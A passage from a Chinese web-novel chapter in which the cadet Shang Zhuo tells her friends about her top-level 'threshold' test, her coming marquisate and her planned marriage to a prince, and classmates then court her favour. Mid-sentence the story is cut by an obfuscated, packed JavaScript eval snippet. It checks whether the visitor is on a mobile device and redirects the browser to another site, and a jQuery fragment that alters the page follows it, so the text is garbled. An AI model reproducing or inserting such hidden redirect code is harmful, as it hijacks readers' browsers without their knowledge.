走到分叉路口,商茁给楚灵指了指校长办公处的方向,但对方坚持要她先走,她索性也不再客套,转身朝宿舍走去。
走到自己宿舍门前,商茁伸手敲了敲门,结果旁边宿舍的门猛地打开了。胡燃从自己房间冲了出来,看到商茁后,兴奋地朝她扑了过来,牢牢地挂在她的身上,毫不在意自己平日里时刻保持的女君形象。
看着这会儿跟个小孩子一样的胡燃,商茁笑了笑:“你捡钱了?这么高兴~”
胡燃哼了声:“捡钱算什么!我这是撞大运了!我们老胡家祖坟冒青烟了!我竟然和……”想到自己还在宿舍,胡燃突然噤了声,小心翼翼地朝四周环顾了一圈,确认没有人,才放下心来。
这时赵国安打开宿舍门走了出来,看到商茁后,眼睛一亮:“阿茁你回来了,你这是去哪儿了?怎么一天都没回来……”
胡燃从商茁身上跳了下来,拉着两人走进了她们宿舍,然后把门关的严严实实。
她拍了拍商茁的肩膀,一脸激动,但声音却压得很低:“你小子!竟然一直深藏不露!”
商茁笑了笑,没有说话。关于阈值的事,她也是刚刚知道,而这件事还涉及到了穿越,根本没办法告诉其他人。
看着赵国安一脸茫然的样子,胡燃挑了挑眉,双眼亮晶晶地说:“国安,快来拜见咱们的女君阁下!”
赵国安看了眼胡燃,又看了眼商茁,犹豫着问道:“阿茁,你找到母父了?你母亲是个大官儿?”
胡燃伸手扶额,一脸不忍直视:“你这都是哪儿和哪儿啊……”
见赵国安不知道什么时候才能猜出来,胡燃无奈解释道:“那么多勋贵世家的女君,你见谁敢自称阁下的?”
“商茁,你妹妹,检测出是满级阈值!咱们大朝唯一一个满级阈值的女君阁下!”
赵国安的眼睛猛地睁大,不可思议地看向商茁:“阿茁,阿燃说得是真的?”
商茁笑着点点头:“国安姐,是真的。我昨晚就是去护持司检测阈值了。”
一旁的胡燃不满地嘟囔着:“还不相信我……我什么时候说过假话了……”
赵国安开心地冲过来,紧紧地抱住了商茁,脸上满是真挚的祝贺:“阿茁真厉害!真好、真好……”
商茁将头埋在姐姐的颈窝,这一刻,心彻底卸下了所有防备。在姐姐的怀抱中,她不用再想如何应对各种问题,不用再担忧未知的未来,她只需要安心汲取温暖就好。
赵国安没有再说话,只是轻轻地拍了拍她的背部,如以往一般,接住了这个疲惫的灵魂。
胡燃看着抱成一团的姐妹俩,百无聊赖地问:“你们俩抱够了没……我还在这儿呢。”
商茁不好意思地从赵国安怀中抬起头,眨了眨眼睛,开玩笑地说:“国安姐的怀抱太温暖了,我一不小心就沉溺其中了~”
赵国安只是心疼地看着商茁,温声说:“辛苦了,阿茁。”
只是简单的几个字,商茁却觉得自己的眼泪好似决堤一般,瞬间从眼眶中冲出。她慌忙伸手擦拭眼泪,可却怎么也擦不干净。
“诶诶,这是怎么了,好好的怎么突然哭了起来……”胡燃手忙脚乱地在身上翻找着手帕。
赵国安却再次将商茁揽进怀中,一下,又一下,温柔地拍着她的背部:“没事了,没事了……阿茁,想哭就哭吧,眼泪会把心中的委屈都冲出来。”
不知道过了多久,商茁终于抬起了头。此时,赵国安的肩窝已经湿了一片。看清赵国安和胡燃两人脸上的担忧后,她吸了吸鼻子,有些尴尬地说:“不好意思,让你们担心了。我只是、只是……”
胡燃摆摆手,打断了她:“嗐,这有什么不好意思~我、我有个朋友,都成年了,做噩梦了照样趴在母亲怀里哭,夜里还非得母亲一同睡呢。”
赵国安则是温声说:“阿茁,洗把脸吧,盥盆里是我今晚刚打的水。”
商茁笑着点点,没有再继续解释,转身走向盥盆。
见商茁没事了,胡燃继续说道:“我估计,明天就会有一堆人来找阿茁。说不定,有大胆的官员还会带男儿来军校拜见阿茁……”
闻言,赵国安皱起眉头:“这样岂不是要扰乱阿茁的训练?”
胡燃哼了声:“这些人……算了,不说她们了。”看到商茁走过来,胡燃笑了笑,调侃道:“说不定阿茁马上就要被封为女侯了,也训练不了几天了。”
赵国安看向商茁,惊喜地问:“阿茁,陛下为你封侯了?”
商茁笑着点点头,看向胡燃:“阿燃,你人虽在军校,但消息可够灵通的,什么都瞒不过你。”
胡燃得意地挑了挑眉:“我们胡家好歹是跟着太祖皇的开国五元勋之一,这种大事要都没点消息,那真得回老家种地去了……你可是大朝唯一的满级阈值,这谁家敢不放在心上?像我娘这种一心当纯臣的人,都派人给我打招呼,让我不能得罪你。”
商茁笑着说:“哈哈哈,你让胡姨放心,咱们这关系,可是要做一辈子好朋友的。我成亲的时候,还指望你帮我结亲呢~”
胡燃笑得见牙不见眼:“有你这话我就放心了,我肯定帮你接得妥妥帖帖的!”话音刚落,胡燃突然意识到,自己好像听到了不得了的东西。
“什么?!你要成亲了?!”
赵国安也是一头雾水地看向商茁:“阿茁,你要成亲?”
商茁笑着点点头:“对,赐婚的圣旨应该会随着封侯的旨意一起。”
胡燃不解地问:“你要娶哪家的公子?谁家速度这么快……”
相比之下,赵国安则是要平静许多,她笑着问道:“男方是谢老师吗?”
商茁笑着点点头:“是。国安姐,到时候让赵姨和吴叔一起来,大家一起热闹热闹~”
赵国安笑着说好。但胡燃的脸却皱成一团,一副敢怒不敢言的模样:“不是,陛下怎么还强买强卖呢!真是为那个不省心的弟弟操碎了心啊……”
商茁打断了好友,一脸认真地说:“阿燃,是我主动向陛下求娶公主殿下的。我很喜欢他,也希望能得到你们的祝福。”
胡燃猛地想起了商茁最近的种种异常,还有她那天看的《阈值启蒙》,她的脑海里突然蹦出一个不可思议的猜测:“你突然去检测阈值,该不会就是为了娶公主吧?!”
商茁点点头:“我是孤儿,之前因为各种原因一直
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17329616|192902||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
没能检测阈值,要不是因为想要娶公主为夫,我有可能一辈子都不会去检测。”
胡燃看了她良久,感叹道:“姐妹,你真是个大情种啊!”
商茁被她逗笑:“一边去!”
几人瞬间笑作一团。
猛然间,商茁突然想到一件事,她犹豫地问:“我阈值的事,要不要和靳教官说声啊?”
胡燃嘴角勾了勾,一脸高深莫测地说:“说不定,老靳第一时间就知道了,可不要小看咱们这位教官啊~”
商茁和赵国安都是一脸疑惑地看着胡燃,可对方却没有继续说下去的打算。
“小靳,这件事目前先保密,陛下的意思是,不希望这段时间有人打扰女君阁下。”
与此同时,校长室内。
靳教官倚在桌边,懒懒看向裴校长:“校长大人,你这不是难为我吗?现在关于女君阁下的事,估计都传开了吧?众所皆知的事,让我怎么保密?”
裴校长捏了捏眉心,叹了口气:“你看好你们班上就好,其他的我来想办法。”
靳教官嗤笑一声:“咱们这位陛下,总是这么“天真烂漫”,想到什么是什么~”
“靳光!”裴校长厉声打断了她。
见靳教官不说话后,裴校长的声音又软了下来:“小靳啊,过去的都已经过去了,人要向前看。你只要记住现在的皇帝是当今的陛下,我们当臣子的,首要的便是忠于陛下。”
屋内只是一片沉默。许久,裴校长长叹一声:“唉,你先回去吧。”
翌日。
商茁发现一天未见,同学们都变得格外热情。黄海莹这个平日里喜欢说笑的人,逮到机会就往她这边跑,还情有可原。但裴方礼这个平日沉默寡言的人,也破天荒地主动找她聊天,一向独来独往的姜雅博还约她有空一起探讨战术。甚至,几个平日里不经常聊天的同学,也亲热地约商茁一起去玩儿。
商茁笑着打发了一批又一批的人,但是几个不死心的学员,仍是黏在她身旁不肯离开。
胡燃见状,毫不客气地把其他人从商茁身边赶走:“都去一边去!都围着商茁干嘛呢!平日里也不见你们这么热情。”
黄海莹不满地回击道:“军校什么时候被你们胡家买下了?班里是大家的,我们想去哪儿就去哪儿!”
几个学员跟着说:“就是就是!”、“胡燃你也太霸道了吧!”
眼见气氛剑拔弩张起来,商茁想说点什么缓和下气氛,突然听到一道不紧不慢的声音响起:“哟~这是打算课后加练,准备再复盘下上次的模拟战?”
众人回头一看,发现靳教官不知道什么时候过来了,纷纷收起了脾气。
靳教官朝屋子中的几人看了一圈,随意点了几个刚才说话最冲的人:“你们几个,校场十圈,现在出发。”
众人看靳教官此刻一本正经的表情,和往日那副懒洋洋的样子截然不同,顿时明白教官是认真的,便收起了讨价还价的念头,纷纷朝校场跑去。
被点到的人里面就包括胡燃,她耷拉着眉毛,一副苦哈哈的样子。本想说些什么,但看到一旁站着的姜雅博,又把到嘴边的话咽了回去,快步跟上了前面的人。